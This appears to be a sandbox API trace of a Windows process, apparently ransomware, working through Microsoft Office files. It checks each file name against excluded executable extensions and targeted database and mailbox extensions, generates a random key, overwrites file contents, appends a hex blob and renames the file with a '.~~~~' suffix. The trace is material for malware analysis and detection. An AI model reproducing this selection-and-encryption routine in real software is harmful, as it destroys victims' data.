	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".myd") returned 0x0
	[0140.842] lstrlenW (lpString=".DTXS") returned 5
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.842] lstrlenW (lpString=".ckp") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".ckp") returned 0x0
	[0140.842] lstrlenW (lpString=".dbt") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dbt") returned 0x0
	[0140.842] lstrlenW (lpString=".db") returned 3
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".db") returned 0x0
	[0140.842] lstrlenW (lpString=".TXT") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".TXT") returned 0x0
	[0140.842] lstrlenW (lpString=".MDF") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".MDF") returned 0x0
	[0140.842] lstrlenW (lpString=".bdb") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".bdb") returned 0x0
	[0140.842] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.842] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.843] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.844] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.844] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.844] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26083491220) returned 1
	[0140.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd59d870, dwHighDateTime=0x1d60e1e)) 
	[0140.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0140.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0140.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2b38
	[0140.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2b38 | out: hHeap=0x300000) returned 1
	[0140.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0b20
	[0140.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0b20 | out: hHeap=0x300000) returned 1
	[0140.899] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.899] GetLastError () returned 0x0
	[0140.899] GetLastError () returned 0x0
	[0140.900] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.900] GetLastError () returned 0x0
	[0140.900] GetLastError () returned 0x0
	[0140.900] ReadFile (in: hFile=0x138, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x1631, lpOverlapped=0x0) returned 1
	[0140.902] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffe9cf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.902] WriteFile (in: hFile=0x138, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1631, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x1631, lpOverlapped=0x0) returned 1
	[0140.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0140.902] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.902] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.903] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.903] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.903] CloseHandle (hObject=0x138) returned 1
	[0140.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0b20
	[0140.911] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif.~~~~")) returned 1
	[0141.149] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0b20 | out: hHeap=0x300000) returned 1
	[0141.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0141.150] GetLastError () returned 0x0
	[0141.154] RtlWakeConditionVariable () returned 0x0
	[0141.154] GetCurrentThreadId () returned 0x9f4
	[0141.154] GetCurrentThreadId () returned 0x9f4
	[0141.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0141.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae8c0 | out: hHeap=0x300000) returned 1
	[0141.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c50 | out: hHeap=0x300000) returned 1
	[0141.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ae8c0
	[0141.155] lstrlenW (lpString=".scr") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".scr") returned 0x0
	[0141.155] lstrlenW (lpString=".cmd") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".cmd") returned 0x0
	[0141.155] lstrlenW (lpString=".dll") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dll") returned 0x0
	[0141.155] lstrlenW (lpString=".bat") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".bat") returned 0x0
	[0141.155] lstrlenW (lpString=".cpl") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".cpl") returned 0x0
	[0141.155] lstrlenW (lpString=".sys") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".sys") returned 0x0
	[0141.155] lstrlenW (lpString=".msc") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".msc") returned 0x0
	[0141.155] lstrlenW (lpString=".com") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".com") returned 0x0
	[0141.155] lstrlenW (lpString=".lnk") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".lnk") returned 0x0
	[0141.155] lstrlenW (lpString=".msp") returned 4
	[0141.155] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".msp") returned 0x0
	[0141.156] lstrlenW (lpString=".pif") returned 4
	[0141.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".pif") returned 0x0
	[0141.156] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.156] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0141.158] lstrlenW (lpString=".sqb") returned 4
	[0141.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".sqb") returned 0x0
	[0141.158] lstrlenW (lpString=".ost") returned 4
	[0141.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".ost") returned 0x0
	[0141.158] lstrlenW (lpString=".txt") returned 4
	[0141.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".txt") returned 0x0
	[0141.158] lstrlenW (lpString=".mdt") returned 4
	[0141.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".mdt") returned 0x0
	[0141.158] lstrlenW (lpString=".BDB") returned 4
	[0141.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".BDB") returned 0x0
	[0141.158] lstrlenW (lpString=".eql") returned 4
	[0141.158] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".eql") returned 0x0
	[0141.159] lstrlenW (lpString=".DBF") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DBF") returned 0x0
	[0141.159] lstrlenW (lpString=".EQL") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".EQL") returned 0x0
	[0141.159] lstrlenW (lpString=".FDB") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".FDB") returned 0x0
	[0141.159] lstrlenW (lpString=".EDB") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".EDB") returned 0x0
	[0141.159] lstrlenW (lpString=".DACPAC") returned 7
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.159] lstrlenW (lpString=".VHD") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".VHD") returned 0x0
	[0141.159] lstrlenW (lpString=".DBV") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DBV") returned 0x0
	[0141.159] lstrlenW (lpString=".dacpac") returned 7
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.159] lstrlenW (lpString=".sdf") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".sdf") returned 0x0
	[0141.159] lstrlenW (lpString=".accdb") returned 6
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".accdb") returned 0x0
	[0141.159] lstrlenW (lpString=".DBX") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DBX") returned 0x0
	[0141.159] lstrlenW (lpString=".MDT") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".MDT") returned 0x0
	[0141.159] lstrlenW (lpString=".SQB") returned 4
	[0141.159] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".SQB") returned 0x0
	[0141.159] lstrlenW (lpString=".vhd") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".vhd") returned 0x0
	[0141.160] lstrlenW (lpString=".bac") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".bac") returned 0x0
	[0141.160] lstrlenW (lpString=".mdf") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".mdf") returned 0x0
	[0141.160] lstrlenW (lpString=".BAK") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".BAK") returned 0x0
	[0141.160] lstrlenW (lpString=".BAC") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".BAC") returned 0x0
	[0141.160] lstrlenW (lpString=".dbs") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dbs") returned 0x0
	[0141.160] lstrlenW (lpString=".vhdx") returned 5
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.160] lstrlenW (lpString=".NDF") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".NDF") returned 0x0
	[0141.160] lstrlenW (lpString=".dat") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dat") returned 0x0
	[0141.160] lstrlenW (lpString=".DBS") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DBS") returned 0x0
	[0141.160] lstrlenW (lpString=".CKP") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".CKP") returned 0x0
	[0141.160] lstrlenW (lpString=".edb") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".edb") returned 0x0
	[0141.160] lstrlenW (lpString=".PST") returned 4
	[0141.160] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".PST") returned 0x0
	[0141.160] lstrlenW (lpString=".dbf") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dbf") returned 0x0
	[0141.161] lstrlenW (lpString=".SQL") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".SQL") returned 0x0
	[0141.161] lstrlenW (lpString=".pst") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".pst") returned 0x0
	[0141.161] lstrlenW (lpString=".dbv") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dbv") returned 0x0
	[0141.161] lstrlenW (lpString=".SDF") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".SDF") returned 0x0
	[0141.161] lstrlenW (lpString=".dtxs") returned 5
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.161] lstrlenW (lpString=".db3") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".db3") returned 0x0
	[0141.161] lstrlenW (lpString=".OST") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".OST") returned 0x0
	[0141.161] lstrlenW (lpString=".dbx") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dbx") returned 0x0
	[0141.161] lstrlenW (lpString=".DB3") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DB3") returned 0x0
	[0141.161] lstrlenW (lpString=".DAT") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DAT") returned 0x0
	[0141.161] lstrlenW (lpString=".VHDX") returned 5
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.161] lstrlenW (lpString=".ndf") returned 4
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".ndf") returned 0x0
	[0141.161] lstrlenW (lpString=".DB") returned 3
	[0141.161] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DB") returned 0x0
	[0141.162] lstrlenW (lpString=".sql") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".sql") returned 0x0
	[0141.162] lstrlenW (lpString=".MYD") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".MYD") returned 0x0
	[0141.162] lstrlenW (lpString=".DBT") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DBT") returned 0x0
	[0141.162] lstrlenW (lpString=".ACCDB") returned 6
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.162] lstrlenW (lpString=".fdb") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".fdb") returned 0x0
	[0141.162] lstrlenW (lpString=".bak") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".bak") returned 0x0
	[0141.162] lstrlenW (lpString=".myd") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".myd") returned 0x0
	[0141.162] lstrlenW (lpString=".DTXS") returned 5
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.162] lstrlenW (lpString=".ckp") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".ckp") returned 0x0
	[0141.162] lstrlenW (lpString=".dbt") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".dbt") returned 0x0
	[0141.162] lstrlenW (lpString=".db") returned 3
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".db") returned 0x0
	[0141.162] lstrlenW (lpString=".TXT") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".TXT") returned 0x0
	[0141.162] lstrlenW (lpString=".MDF") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".MDF") returned 0x0
	[0141.162] lstrlenW (lpString=".bdb") returned 4
	[0141.162] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".bdb") returned 0x0
	[0141.163] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.163] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.163] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.163] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0141.164] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.164] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0141.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0141.164] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26115447847) returned 1
	[0141.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd8bd550, dwHighDateTime=0x1d60e1e)) 
	[0141.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0141.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0141.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0141.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2c50
	[0141.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
